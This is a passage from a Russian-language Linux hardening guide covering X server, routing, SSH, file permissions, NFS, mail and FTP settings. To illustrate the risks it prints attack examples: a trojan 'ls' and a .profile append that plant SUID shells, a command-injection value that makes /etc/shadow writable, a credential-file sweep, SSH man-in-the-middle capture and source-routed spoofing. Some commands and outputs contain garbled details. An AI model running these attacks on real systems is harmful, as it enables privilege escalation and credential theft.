И сохраните его под именем `/etc/X11/xinit/xserverrc` либо для текущего пользователя `~/.xserverrc`. Далее необходимо ограничить права доступа к этому файлу с помощью команды `chmod 755`.

При запуске системы X-Window с помощью сервера Xdm следует добавить параметр `-nolisten tcp` ко всем строкам в файле `/etc/X11/xdm/Xservers`

```
# $Id: Xservers,v 1.4 2003/10/14 11:49:07 ldv Exp $
# $XConsortium: Xserv.ws.cpp,v 1.3 93/09/28 14:30:30 gildea Exp $
# $XFree86: xc/programs/xdm/config/Xserv.ws.cpp,v 1.1.1.1.12.21998/10/04 15:23:14
hohndel Exp $
#
# Xservers file, workstation prototype
#
# This file should contain an entry to start the server on the
# local display; if you have more than one display (not screen),
# you can add entries to the list (one per line).  If you also
# have some X terminals connected which do not support XDMCP,
# you can add them here as well.  Each X terminal line should
# look like:
#       XTerminalName:0 foreign
#
:0 local /etc/X11/xinit/xserverrc -nolisten tcp
# В некоторых системах путь /usr/X11R6/bin/X
```

Также можно провести атаку на X-сервер по SSH. Все что необходимо знать для аутентификации, это значение cookie, хранящееся в файле `.Xauthority`. Любой пользователь, имеющий права на чтение этого файла, сможет организовать обратный зашифрованный SSH-сеанс связи с вашим X-сервером.
Можно поменять права доступа.

```
user@comp$ chmod 600 ~/.Xauthority
```

Естественно, это не остановит пользователя с правами root.

```
root@comp# export DISPLAY=localhost:10.0
root@comp# export XAUTHORITY=/home/brandt/.Xauthority
root@comp# xclock
```

27. Пароли по умолчанию для сетевых устройств содержаться в файле defaultpassword.txt на сервере http://packetstormsecurity.com (написано http://packetstorm.securify.com).

28. Популярные анализаторы пакетов.

TCPdump	http://www.tcpdump.org
hunt	Обладает большими возможностями http://www.cri.cz/kra/index.html
Sniffit	http://rpmfind.net/linux/RPM/freshmeat/sniffit/index.html
Karpski	http://mojo.calyx.net/~btx/karpski.html
Gnusniff	http://packetstormsecurity.com/sniffers/gnusniff/indexsize.shtml
Dsniff	http://monkey.org/~dugsong/
EtherApe	Отличное средство для устранения неполадок в сетях, http://etherape.sourceforge.net/
Ettercap	Усовершенствованный анализатор пакетов, http://ettercap.sourceforge.net/
Linux-sniff	Простой сниффер, http://packetstorm.security.com????!!!!

29. Маршрутизация от источника (source routing) позволяет отправителю определить путь, по которому пакет должен пройти по сети Internet, чтобы достигнуть пункта назначения. Это очень удобно для изучения и отладки работы сети, но нарушитель получает возможность подмены адресов компьютеров локальной сети. Чтобы проверить, включена ли маршрутизация, достаточно выполнить команду.

```
[root@localhost /]# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
1
```

Ответ 0 означает, что маршрутизация отключена, 1 - наоборот.
Выключим маршрутизацию.

```
[root@localhost /]# echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_source_route
[root@localhost /]# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route
0
```

Более подробно о предназначении каталога /proc и о том, как "на постоянной основе" внести изменения в файлы этого каталога, можно прочитать по адресу http://www.hackinglinuxexposed.com/articles/20021015.html.

Затем следует проверить установку этого значения при загрузке, добавив следующую строку в файл `/etc/sysctl.conf`.

```
net.ipv4.conf.all.accept_source_route = 0
```

Теперь пример.

```
root# ifconfig eth0:0 inet 192.168.3.5 netmask 255.255.255.255
```

Данная команда позволит компьютеру злоумышленника принимать пакеты, предназначенные для хоста с IP-адресом 192.168.3.5.
Теперь нужно организовать соединение. Можно с помощью telnet отправить поток TCP-пакетов с маршрутизацией от источника. Следующая команда позволяет указать последовательность узлов, через которые должно быть организовано соединение.

```
root# nc -g 10.4.4.1 -g 10.1.5.129 -g 10.1.1.1 -g 192.168.2.1 192.168.3.2 25
```

Обратите внимание, что утилита nc иногда называется netcat.

В данном случае идет отправка пакетов с вложенной информацией о маршруте их передачи, начиная с локального компьютера, затем по цепочке 10.4.4.1, 10.1.5.129 , 10.1.1.1, 192.168.2.1 к интересующему хосту 192.168.3.2

30. Многие компьютеры работают с двумя интерфейсами, один из которых предназначен для доступа в Internet, а второй – для доступа к внутренней локальной сети. Примером может служить Web-сервер, который обеспечивает внешний интерфейс для передачи клиентских данных – Web-сервер использует HTTP для обмена информацией с внешними компьютерами и выполняет запросы к базе данных, хранящейся в частной сети для получения необходимых данных. Если настроить компьютер на перенаправление (forwarding) из одной сети в другую, то можно получить доступ из внешней сети к «невидимым» компьютерам внутренней сети без компрометации промежуточного хоста.
Включение и отключение перенаправления пакетов (IP Forwarding) осуществляется с помощью редактирования файла `/proc/sys/net/ipv4/ip_forward`. Установленный параметр 0 означает, что перенаправление отключено, а 1 означает, что компьютер обязан передавать пакеты между интерфейсами. Для маскирующих шлюзов и брандмауэров это может быть полезным, но не нужно для серверов имен, почтовых серверов и бастионов. Для отключения перенаправления следует набрать команду

```
root# echo 0 > /proc/sys/net/ipv4/ip_forward
```

А для гарантии, что перенаправление не активизируется в процессе загрузки системы, в файл `/etc/sysctl.conf` нужно добавить строку

```
net.ipv4.ip_forward = 0
```

31. Для того чтобы гарантировать, что в таблицу маршрутизации локального компьютера нельзя добавлять информацию о новых маршрутах, необходимо отключить демона маршрутизации (обычно routed и gated). Эти демоны запускаются при загрузке компьютера, поэтому их надо просто остановить и отключить их запуск в каталогах `/etc/rcN.d`. Вместо использования этих демонов, переложите задачу выбора наиболее эффективных маршрутов передачи данных исключительно на свой маршрутизатор.

32. Переадресация по протоколу ICMP.В таблицах маршрутизации большинства Linux-систем присутствуют три записи: для петли обратной связи, для локальной сети Ethernet или коммутируемой сети и для маршрутизатора по умолчанию.

```
user$ netstat -rn
Kernel IP routing table
Destination   Gateway       Genmask         Flags  MSS  Window   irtt    Iface
192.168.70.0  0.0.0.0       255.255.255.0   U        0  0           0    eth0
127.0.0.0     0.0.0.0       255.0.0.0       U        0  0           0    lo
0.0.0.0       192.168.70.2  0.0.0.0         UG       0  0           0    eth0
```

Первая строчка обозначает, что с хостами сегмента локальной сети Ethernet следует устанавливать непосредственное соединение, а не отправлять пакеты на какой-либо маршрутизатор. Вторая (127.0.0.1) описывает интерфейс петли обратной связи. В последней строке определяется, что все остальные пакеты должны передаваться на маршрутизатор по умолчанию (192.168.70.2), который передаст их по адресу назначения.
Предположим, что компьютер 192.168.70.5 взломан. С помощью анализатора пакетов на этом компьютере можно увидеть, что пакет с хоста (192.168.70.4) передается маршрутизатору по умолчанию. В это время достаточно отправить ICMP-сообщение о переадресации с подменным IP-адресом маршрутизатора, в котором уведомить отправителя (192.168.70.4) от «правильном» маршрутизаторе. Данный хост начнет отправлять пакеты на адрес компьютера, указанного в ICMP-пакете.

```
До:   (192.168.70.4) → (192.168.70.2) → (192.168.70.100)
После:(192.168.70.4) → (192.168.70.5) → (192.168.70.2) → (192.168.70.100)
```

192.168.70.2 – маршрутизатор, 192.168.70.100 – интересуемый компьютер, например, база данных.

При наличии одного маршрутизатора нет никакой необходимости в применении ICMP-сообщений о переадресации. Для игнорирования ядром Linux ICMP-сообщений о переадресации следует использовать следующую команду.

```
root# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
root# cat /proc/sys/net/ipv4/conf/all/accept_redirects
0
```

Эта команда echo должна быть добавлена в сценарии загрузки системы. В качестве альтернативы можно добавить строчку `net.ipv4.conf.all.accept_redirects = 0` в файл `/etc/sysctl.conf`. При наличии нескольких маршрутизаторов придется добавлять их вручную.

```
root# route add –net 192.168.100.0/24 qw 192.168.200.2
```

33. Есть возможность для SSH-клиента подменить действительный SSH-сервер собственным компьютером и аналогично подменить действительного SSH-клиента для SSH-сервера. Для ее запуска достаточно указать настоящий SSH-сервер в командной строке.

```
root# sshmitm server.example.com
sshmitm: relaying to server.example.com
```

Когда SSH-клиент подключается к серверу в первый раз, то он выдаст запрос о проверке ключа host key.

```
client$ ssh server.example.com
The authenticity of host 'server.example.com' can't be estamlishced.
RSA key fingerprint is
cd:e5:43:56:ft:54:3e:h6:H6:gh:6u:U6:y6"gj.
Are you sure you want to continue connecting (yes/no)? yes
```

То есть выдается предупреждение, что не может быть установлена идентичность хоста, на котором работает SSH-сервер, и вопрос о том, следует ли продолжить в этом случае процесс установки соединения. Однако, если пользователь ранее успешно коннектился к данному хосту, выдается предупреждение.

```
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!    @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
```

Если пользователь в этих двух случаях продолжит соединение, программа sshmitm получить полный контроль над установленным сеансом. По умолчанию она зарегистрирует все имена пользователей и пароли.

```
02/28/01 23:36:53 tcp 192.168.70.4:4453 -> 10.19.28.182:22 (ssh)
<user>
<password>
```

Так что при первоначальном подключении необходимо скопировать полученный открытый ключ хоста в свой файл `$HOME/.ssh.known_hosts`. Сравните эту строку с открытым ключом действительного сервера, который обычно хранится в файле `/etc/ssh/ssh_host_key.pub` или `/etc/ssh_host_key.pub`. Если две строки не совпадают, можно с уверенностью говорить о прослушивании сеанса и перехвате вашего пароля. Чтобы предотвратить возможность

установления опасного соединения, настройте SSH на обязательную проверку ключа хоста. Это можно осуществить, добавив в начало файла `$HOME/.ssh/config` следующие строки.

```
Host *
StrictHostKeyChecking yes
```

Также можно добавить параметр StrictHostKeyChecking в глобальный файл `/etc/ssh/ssh_config`. Желательно установить новую версию протокола SSHv2.

34. MAC-адреса сетевых адаптеров жестко закодированы поставщиками. Однако нет ничего сложного в изменении своего MAC-адреса с помощью команды

```
root# ifconfig wlan0 10:20:30:40:50:60
```

Узнать о подмене сложно, если использовать стандартные средства предоставления доступа. В будущих версиях стандарта 802.11 будет использоваться строгая аутентификация пользователей, которая позволит устранить эту проблему.

35. В пользовательском каталоге представляют интерес многие файлы. Например, эти.
`.netrc` – сведения о самых популярных у пользователя FTP-сайтах.
`.fetchmailrc` – при запуске в режиме демона fetchmail будет здесь искать пароль пользователя (хранится в незашифрованном виде).
`.mozilla` – данные о почтовом сервере, посещаемых сайтах и д.р.
`.profile`, `.bashrc`, `.bash_login` – используются командным интерпретатором bash. Например, установленное значение переменной PATH позволяет узнать часто используемые программы. То же относится и к файлам истории.
Если для них предоставлены права чтения всем пользователям, а тем более не заблокирована возможность изменения этих файлов, то кто-нибудь обязательно этим воспользуется.

```
bad_guy$ cat >> /home/name_user/.profile << EOM
cp /home/ bad_guy/suid_shell /tmp/.shells/name_user
chmod 1755 /tmp/.shells/name_user
EOM
```

При следующем входе в систему этого пользователя копия файла suid_shell будет сохранена в каталоге /tmp/.shells и предоставит возможность действовать от имени этого пользователя (при помощи идентификатора пользователя). Остается только запустить ее. Даже если для отдельных файлов не предоставлено прав записи, их можно изменить, имея право записи в каталог, в котором хранятся эти файлы.

```
bad_guy$ cp /home/name_user/.profile /tmp/
bad_guy$ vi /tpm/.profile
<blah-blah-blah>
bad_guy$ rm /home/name_user/.profile
bad_guy$ mv /tmp/.profile /home/name_user
```

Найти файлы `~/.fetchmailrc` и `~/.netrc` и проверить права чтения очень просто.

```
bad_guy$ find / -name .fetchmailrc –o –name .netrc | xargs cat
```

Файлы `.netrc`. Данные файлы являются точечными и хранятся в домашней директории пользователя. Эти файлы делаются зачастую самими пользователями, для того, чтобы повысить скорость доступу по ftp к другим системам. То есть, не вводить каждый раз логин/пароль, а прописать его в данном файле и при следующем соединении с ftp-серверу он запуститься автоматически, что приведет к тому, что вы сразу залогинетесь на сервер. Давайте рассмотрим 1 строку из этого файла:

```
default login lynx password qwerty
```

как видно, имеем дефолтовый пароль (qwerty) пользователя (lynx) в незакодированном виде. Поэтому права доступа на такие файлы должны быть соответствующие, а лучше вообще запретить использование таких файлов в системе.

Полезные советы

1. Внимательно следите за логами, особенно за использованием `su` (`/usr/adm/sulog`).
2. Не вылезайте в сеть под рутом, лучше сделайте для этого дела специальный аккаунт.
3. Отдайте ваш файл с паролями на съедение JTR и если он не подберет пароль в течение 7-24 часов (зависит от наглости +) и если он вскроет хотя бы 1 из паролей, то замените этот пароль.
4. Проверьте свою систему каким-нибудь сканером безопасности и залатайте найденные дыры.

Проверьте, что для всех начальных каталогов пользователей ограничены права доступа.

```
root@machine# chmod 700 /home/*
root@machine# chmod 700 /root
```

Надежнее установить защиту и для отдельных файлов.

```
root@machine# chmod go-rwx /home/*/.??*
root@machine# chmod go-rwx /root/.??*
```

Если вы выполнили пункт **3**, то все новые файлы будут иметь атрибут 700.
Когда целостность файловой системы оказывается под угрозой, для ее восстановления запускается утилита fsck. Если при восстановлении найдутся файлы с «потерянной» информацией о родном каталоге, они помещаются в каталог `/lost+found`. Права устанавливаются довольно «либеральные».

```
user$ ls -lad `locate /lost+found`
drwxr-xr-x  2  root  root  12288  Jun  15  2002  /boot/lost+found/
```

Для файлов в этом каталоге необязательно сохраняются первоначальные права доступа. Проще всего дать команду.

```
root# chmod 700 `locate /lost+found`
```

36. Чтобы выполнить операцию печати на принтере, подключенном к Windows-компьютеру, для приложения smbprint требуется имя пользователя и пароль. Эта информация хранится в конфигурационном файле в каталоге, предназначенном для хранения заданий для данного принтера. Во многих случаях права на чтение этого файла предоставлены всем пользователям компьютера. Такое отношение к учетной записи может привести ко взлому и удаленной Windows-системы, и локального хоста (если учетная запись позволяет входить в систему на локальном компьютере).
При модемном доступе имя пользователя и пароль для соединения PPP хранятся в файле `/etc/ppp/chap-secrets`, а для wvdial – в файле `/etc/wvdial.conf`.
Для обеспечения безопасности smbprint-паролей проверьте, что для файлов `.config` в каталоге `/var/spool/lp` не предоставлены права чтения всем пользователям. Если такие файлы есть, выполните команду `chmod o-rw` по отношению к каждому из них.
Для файла, в котором хранятся пароли, использующиеся при модемном доступе (соединения должны устанавливаться от имени root для правильной маршрутизации) права должны быть только для суперпользователя с помощью команды `chmod 600 <file_name>`.

37. При создании сценариев и других приложений иногда достаточно набрать имя скрипта (например, foo), а не sh foo или ./foo. Опасность от такого удобства значительно превышает выгоду. Рассмотрим, например подложную команду ls.

```
#!/bin/sh –
#Сделать каталог /etc/passwd доступным для записи и создать
#копию командного интерпретатора bash с установленным битом SUID
#в каталоге /tmp
#
if chmod 666 /etc/passwd > /dev/null 2>&1 ; then
      cp /bin/sh /tmp/.sh
      chmod 4755 /tmp/.sh
fi
exec ls "$@"
```

Переменная среды PATH обновляется при входе в систему для очень многих файлов, например `/etc/profile` и сц енариев в `/etc/profile.d`. Определить все места очень сложно. Поэтому лучше добавить в конец файлов `.bashrc` или `.profile`.

```
PATH=`echo $PATH | sed –e 's/::/:/g; s/:.:/:/g; s/:/$//; s/^://'`
```

Эта простая команда sed позволяет устранить все случаи указания точки в указании пути к файлу, вплоть до получающихся в результате форм наподобие "`::`"

38. При автоматическом монтировании файловых систем (локальных и с удаленных компьютеров) всегда должен использоваться флаг nosuid. В этом случае невозможно запустить программу с установленным битом SUID. Проверим параметры монтирования.

```
bad_guy$ grep cdrom /etc/fstab
/dev/hdc /mnt/cdrom   iso9660   ro,user,noauto,nosuid
bad_guy$ mount | grep cdrom
/dev/hdc on /mnt/cdrom type iso9660 (ro,nosuid,nodev,user=attacker)
```

Попытаемся запустить программу с установленном битом SUID.

```
bad_guy$ ls –l /mnt/cdrom/suid_program
-rwsr-xr-x   1  root  root   99183  Mar 23 21:28  suid_program
bad_guy$ /mnt/cdrom/suid_program
ksh: /mnt/cdrom/suid_program: Operation not permitted
```

Установленный параметр nosuid не позволяет запускать исполняемые файлы с установленным битом идентификатора пользователя и соответствующими привилегиями. Однако если монтируются файловые системы, безопасность которых сомнительна, то лучше удалить программу suidperl. Она помогает обойти данное правило: сценарий на языке Perl, запущенный данной утилитой, может выполняться с привилегиями указанного пользователя.

39. При любых модификациях файлов лучше использовать команды, безопасные относительно вызова символьных ссылок. Ведь для программ символьная ссылка выглядит как действительный файл. Так вот, системный вызов chown( ) работает с файлом, на который ссылается символьная ссылка, в отличие от системного вызова lchown( ), который выполняет операции в отношении самой символьной ссылки. То же самое можно сказать про команду chown, которая по умолчанию вызывает реальный файл, но если использовать параметр h, то работа этой команды будет аналогична работе команды lchown.

```
root# ls –la /etc/passwd ./gotcha
lrwxrwxrwx   1 hacker  web   11     Dec  6 10:13  ./gotcha -> /etc/passwd
-rw-r--r--   1 root    root  5827   Mar 23  9:39  /etc/passwd

root# chown –h jdoe ./gotcha
root# ls –la /etc/passwd ./gotcha
lrwxrwxrwx   1 jdoe    web   11     Dec  6 10:13  ./gotcha -> /etc/passwd
-rw-r--r--   1 root    root  5827   Mar 23  9:39  /etc/passwd
```

Часто возникает желание применить быструю проверку lstsat( ), чтобы узнать, является ли файл символьной ссылкой, и в этом случае завершить работу программы на основе, что предполагается атака. Однако, это может привести к состоянию «гонки на выживание», которое хоть и трудно, но можно использовать для успешной атаки.
Для атак можно использовать и жесткие ссылки, только они должны указывать на существующий файл.

```
bad_guy$ ln /etc/passwd /webroot/index.html
bad_guy$ ls -li /etc/passwd /webroot/index.html
 30639  -rw-r--r--    2  root  root  918  Mar  23  09:54  /etc/passwd
 30639  -rw-r--r--    2  root  root  918  Mar  23  09:54  /webroot/index.html
```

Системный администратор исправляет права владения для web.

```
root# cd /path/to/webroot/
root# chown web:web *
```

Файл `/etc/passwd` теперь доступен для записи пользователям группы web.

```
bad_guy$ ls -li /etc/passwd /path/to/webroot/index.html
 30639  -rw-r--r--    2  web  web  918  Mar  23  09:54  /etc/passwd
 30639  -rw-r--r--    2  web  web  918  Mar  23  09:54  /webroot/index.html
```

Проверьте, что не существует каталогов с предоставленными правами записи для обычных пользователей, кроме каталогов `/etc/passwd` или `/bin/ls`.

40. Рассмотрим SUID-программу, предназначенную доверенному пользователю менять пароли для других пользователей.

```
#!/usr/bin/suidperl

$username=$ARGV[0];

if ( $username =~ /(httpd|web|oracle|mysql)/ )
      {
      system “passwd $username”;
      }
```

Эта программа выполняет проверку имени пользователя, чтобы проверить права на внесение изменений. Если все в порядке, то с помощью команды system будет запущена программа passwd. А теперь представим, что пользователь вызывает эту программу следующим образом.

```
user$ chgpass “joe; chmod 666 /etc/shadow”
```

Запущенной с помощью системного вызова командой будет `password joe; chmod 666 /etc/shadow`, то есть одновременно будут запущены команды passwd и chmod.

41. Доверенные хосты. Под это понятие входит, что с этих хостов могут быть выполнены команды удаленно и при этом не требуется пароль. Доверенные хосты обычно используют в небольших сетях, для совместной работы с различными файлами. Ниже приведен синтаксис некоторых команд:

```
rcp host_name:file_name    - копирует файл с машины на твой комп.
rlogin -l login host_name  - логинимся к системе.
rwho                       - список пользователей, залогиненных в системе.
```

Сейчас мы рассмотрим методы, с помощью которых мы сможем устранить эту опасную ситуацию.

Файл `/etc/hosts.equiv`. Тут и хранятся доверенные хосты! Если пользователь попробует приконнектится, используя rlogin или выполнить команду, используя rsh с хоста внесенного в `/etc/hosts.equiv`, то он получит доступ. Следовательно, надо убрать доверенные хосты из этого файла.

Файл `.rhosts`. Функции такие же как и у `hosts.equiv`. Вы можете создать файл .rhost в своем домашнем каталоге и позволять другим получать доступ к вашему аккаунту без пароля. Он гораздо опасней файла `hosts.equiv`, т.к. второй находится под контролем администратора, а первый может создать любой пользователь. Однако для повышения безопасности системы лучше вообще отказаться от использования rhosts в пользу более защищённых аналогов (например, ssh).

42. Безопасные Терминалы. Дело в том, что root не может войти на nosecure терминал даже с паролем. Однако авторизированные пользователи могут использовать "su", чтобы получить рута. Файл `/etc/ttytab` или `/etc/ttys` контролирует, какие терминалы считаются безопасными. Примерно так выглядит этот файл:

```
#####  Start of /etc/ttytab  #########
console "/usr/etc/getty std.9600" sun off secure
ttya    "/usr/etc/getty std.9600" unknown off secure
ttyb    "/usr/etc/getty std.9600" unknown off secure
ttyp0    none network off secure ttyp1 none
         network off secure
ttyp2    none network off secure
#####  End of /etc/ttytab    #########
```

Слово "secure" в конце каждой линии указывает, что терминал рассматривается безопасным. Чтобы убрать этот параметр, нужно просто удалить слово "secure". После изменения файла, напишите команду

```
kill -HUP 1
```

Эта команда сообщит Init процессу перечитать файл `ttytab`. По умолчанию, все хосты являются secure, это значит, что рут может залогиниться с любого удаленного компьютера. Более безопасной конфигурацией является то, что безопасными являются только локальные терминалы. Лучше всего убрать значение "secure" со всех терминалов.

43. Файл `/etc/exports`. Сейчас приведем в порядок NFS (Network File System). Это, возможно, самый важный файл в конфигурации NFS. Тут находится список файловых систем, которые доступны для установки в других системах. Выглядит файл примерно так:

```
/usr
/home
/var/spool/mail
#
/export/root/user1  -access=user1,root=user1
/export/swap/user1  -access=user1,root=user1
#
/export/root/user2  -access=user2,root=user2
/export/swap/user2  -access=user2,root=user2
```

"root=keyword" определяет список хостов, которым разрешено получить права рута к файлам в названной файловой системе.
"access=keyword" определяет список хостов, отделенных двоеточиями, которым позволяют установить названную файловую систему. Если он не определен для файловой системы, любой хост может установить файловую систему через NFS. Это очевидная проблема. Вы можете внести в файл те хосты, которым положен доступ вручную:

```
/usr  -access=host1:host2:host3:host4:host5
```

Поскольку максимальное число хостов, которое вы можете так ввести - 10, вы можете определять их через группы. После любых изменений в файле `/etc/exports`, вы должны использовать команду `exportfs -a`, чтобы заставить систему принять изменения.

44. Файл `/etc/netgroup`. Используется, чтобы определить сетевые группы. Этот файл управляется так называемыми "Yellow Pages" и должен быть обновлен в них, после каждого изменения. Вот образец этого файла:

```
A_Group       (servera,,) (usera1,,) (usera2,,)
B_Group       (serverb,,) (userb1,,) (userb2,,)
Admin_group   (usera1,xakep,) (userb3,lamer,)
All_group     A_Group B_Group
```

Этот файл определяет четыре сетевые группы: A_Group, B_Group, Admin_group, and All_group. Группа All_group включает в себя всех пользователей A_Group & B_Group. Каждый пользователь сетевой группы определен так:

```
(host,user,domain)
```

Как правило, поле "domain" не заполняют, а просто оставляют пустым. Если также не заполнить поля "host" & "user", это будет означать, что любой пользователь подходит под эти параметры. `/etc/netgroup` полезен при ограничении доступа к файловым системам NFS через файл `/etc/exports`. Для примера, посмотрите измененную версию этого файла:

```
/usr                    -access=A_Group
/home                   -access=A_Group:B_Group
/var/spool/mail         -access=All_group
#
/export/root/client1    -access=user1,root=user1
/export/swap/client1    -access=user1,root=user1
#
/export/root/client2    -access=user2,root=user2
/export/swap/client2    -access=user2,root=user2
```

файловая система `/usr` может быть установлена только хостом A_Group. Любой другой хост будет получать сообщение об отсутствии доступа. `/home` может быть установлена как A_Group, так и B_Group. Файловая система `/var/spool/mail` также ограничена для этих хостов. Вобще-то, лучший способ конфигурации для `/etc/netgroup` - сделать отдельный netgroup, для каждого файлового сервера и его клиентов. Это позволит вам создать самую маленькую возможную группу хозяев для каждой файловой системы в `/etc/exports`. `/etc/netgorups` также может использоваться в файле `/etc/passwd`, чтобы позволить доступ данному хосту, который будет ограничен членами той группы и они смогут использовать `hosts.equiv`, чтобы централизовать список доверенных хостов.

45. Ограничение Доступа Суперпользователя. Обычно NFS переводит id root, в id nobody, чтобы предотвратить использование доступа root с удаленного хоста. Иногда это хорошо для безопасности, но иногда доставляет некоторые проблемы. Файл `/etc/exports` также предоставляет вам доступ суперпользователя к некоторым файловым системам для некоторых хостов, используя "root=keyword". Никогда нельзя давать рута не доверенным хостам!

46. Mail. В старых версиях, Sendmail были найдены ошибки кода, позволяющие получать привилегии root неавторизированным пользователям. Ниже описаны действия, которые вы должны предпринять, чтобы обезопасить систему:

Удалите "decode" алиас из файла `/etc/aliases` или `/usr/lib/aliases`. Если вы создаете алиасы, которые позволяют посылать сообщения программам, то убедитесь, что невозможно получить shell или выполнять команды shell'a из этих программ. Убедитесь, что ваш Wizard-password отключен в файле `sendmail.cf`. Если вы не изменяли файлы конфигурации, то делать этого не надо. Удостоверьтесь, что ваш sendmail не поддерживает команду "debug":

```
#telnet localhost 25
localhost Sendmail 8.8.1
ready at 14 May 90 11:38:24 PST
#debug
Command unrecognized
#quit
```

Если же выдаст "debug set", то замените ваш sendmail на более новый!

47. FTP. Осуществляемый ftp & ftpd, позволяет пользователям соединятся с удаленным хостом для передачи файлов. К сожалению, старые версии этих программ, содержали ошибки и позволяли взломать систему. Одна из наиболее полезных особенностей FTP, аккаунты anonymous или guest. Это полезно, если вы хотите давать доступ пользователям без создания учетной записи для каждого пользователя. Чтобы сделать такой доступ более безопасным, следуйте следующим инструкциям:

Создайте аккаунт "ftp" и поместите "*" в поле пароля. Сделайте для аккаунта домашнюю директорию типа, `/usr/ftp` или `/usr/spool/ftp`. Сделайте домашний каталог без прав на запись:

```
#mkdir ~ftp
#chown ftp ~ftp
#chmod 555 ~ftp
```

Создайте каталог `~ftp/bin`, без прав на запись и принадлежащий руту. В этой папке разместите копию программы ls:

```
#mkdir ~ftp/bin
#chown root ~ftp/bin
#chmod 555 ~ftp/bin
#cp -p /bin/ls ~ftp/bin
#chmod 111 ~ftp/bin/ls
```

Создайте каталог `~ftp/etc`, без прав на запись и принадлежащий root. Поместите в него копии файлов `passwd` & `group`. Все пароли пометьте "*". Вы можете удалить некоторые аккаунты, но аккаунт "ftp" удалять нельзя!

```
#mkdir ~ftp/etc
#chown root ~ftp/etc
#chmod 555 ~ftp/etc
#cp -p /etc/passwd /etc/group ~ftp/etc
#chmod 444 ~ftp/etc/passwd ~ftp/etc/group
```

Создавайте директорию `~ftp/pub`, принадлежащую "ftp" и с разрешением записи. Пользователи будут размещать туда файлы, которые будут доступны через "Anonymous FTP":

```
#mkdir ~ftp/pub
#chown ftp ~ftp/pub
#chmod 777 ~ftp/pub
```

Поскольку анонимный FTP подразумевает предоставление доступа любому, это плохо сказывается на защищенности. Вместо этого вы должны выбрать один хост, с которого будет разрешен анонимный доступ. Это делает контроль за нарушением безопасности намного легче.

48. Тривиальный FTP (TFTP). Не имеет никаких способов идентификации пользователя, и осуществляет связь на основе UDP протокола вместо TCP. Из-за всего этого TFTP имеет ошибки безопасности. Вы должны проверять ваши хосты используя ниже приведенную последовательность команд:

```
#tftp
tftp> connect your_host
tftp> get /etc/motd tmp
Error code 1: File not found
tftp> quit
```

Если ваша версия не отвечает "file not found" и вместо этого передает файл, вы должны заменить ваш "tftpd"!

49. Чем больше сервисов запущено, тем больше вероятность уязвимости системы. Поэтому рекомендуется отключать ненужные сервисы. Описание наиболее распространённых сервисов представлены ниже в таблице.

Сервис	Описание
ftp	Одни только плохие новости. Данные передаются открытым текстом, и это очень плохо. FTP ограничить трудно, потому что порты 20 и 21 должны быть открыты, и обычно FTP-серверы открывают множество дополнительных портов. В WU-FTPd, Pro-FTPd, и других распространенных FTP-сервисах существует огромное количество уязвимых мест. Я предлагаю заменить FTP на SSH. (Об SSH - позже). Главное преимущество FTP - все знают, как им пользоваться, и существует много клиентов. tftp может быть полезной в некоторых случаях, и если вы знаете об этой программе, то вам уже не нужны мои обьяснения.
telnet	Одни только плохие новости. Данные передаются открытым текстом, и пароли узнаются легко с помощью таких программ, как Hunt. Лучше всего заменить telnet на ssh, потому что SSH может выполнять те же самые функции. Обычно этот сервис используется для удаленного доступа к компьютеру.
rsh, rlogin, rcp, rexec	Эти сервисы тоже передают данные открытым текстом. Доступ к ним определяется IP-адресом, который можно подделать с помощью spoof'инга. Мне кажется, что r-сервисы уже устарели, и я никогда ими не пользуюсь.
talk/ntalk	Может быть полезным, но только если не обсуждать с помощью них секретную информацию. Это - один из первых клиентов для быстрого обмена сообщениями. Пользователи одной сети могут посылать друг другу сообщения. Сам этот сервис не открывает ваш компьютер для уязвимостей, но данные в нем не шифруются и могут быть перехвачены.
finger	Инструмент для получения информации о пользователях сети. Для этого достаточно набрать `finger <имя юзера>`. Используйте chfn, чтобы изменить вашу информацию, доступную через finger. Если вы создадите в домашней директории файлы .plan и/или .profile, то в ваш finger будет включена информация о ваших интересах, графике работы, и т.д. Это может быть полезно, например, для тех, кому нужен ваш график работы для того, чтобы с вами связаться. Как вы видите - этот сервис может быть полезным, но ваша информация может попасть к кому угодно. Так что - если вы хотите использовать finger, то ограничьте его пределами вашей локальной сети.

anacron	Похож на cron, но эта программа намного лучше для сети из компьютеров, которые могут быть не всегда включенными. Может быть полезно для выполнения каких-нибудь нужных задач, например, работы с логами. Я предпочитаю оставить этот сервис.
kudzu	Определяет новые устройства и завершает работу до того, как кто-либо может зайти в систему. Это - очень важный сервис, не представляющий никакого риска. Поэтому этот сервис можно спокойно оставлять.
ipchains	Загружает правила фильтрации для ядра. Если у вас нет набора правил, то вы можете отключить этот сервис. Я рекомендую отключить этот сервис и использовать IPTables и TCP Wrapper'ы.
network	Загружает сетевые интерфейсы - очень важная функция. Еще один временный сервис. Должен быть включенным.
portmap	Предоставляет распределение портов для NFS и NIS. Если вы их не используете (а я не рекомендую их использовать), то можно отключить этот сервис. У portmap есть много уявимостей, поэтому лучше не рисковать.
nfslock	Загружает rpc.lockd и rpc.statd - два сервиса, нужных для работы NFS. Если вы не используете NFS - выключите это.
apmd	Это сокращение расшифровывается, как "Продвинутый демон управления питанием" (Advanced Power Management Daemon). Если ваша система установлена на лаптопе, то это - полезная вещь. А если нет - можно отключать, потому что хотя в этой программе и нет уязвимостей, но она занимает системные ресурсы.
random	Генерирует случайные значения при запуске. Не надо беспокоиться насчет этого. Обычно случайные числа используются при шифровке.
netfs	Подключает сетевые файловые системы. Это не постоянный сервис, и он не представляет особого риска. Как я уже упоминал, NFS имеет несколько слабых мест в защите, поэтому я бы не рекомендовал использовать эту систему. Если у вас нет NFS, то этот сервис необязателен. А если вы настаиваете на использовании NFS или Samba, то я могу посоветовать только одно - приложите все силы, чтобы защитить вашу сеть от опасных вторжений
syslogd	Syslog Daemon - важная программа, которая ведет логи. Я настоятельно рекомендую, чтобы Syslogd был запущен всегда, потому что логи - это главное средство для защиты системы. Если вы думаете, что на вас была произведена атака, или заметили что-то странное - то первым же делом советую заглянуть в log-файлы.
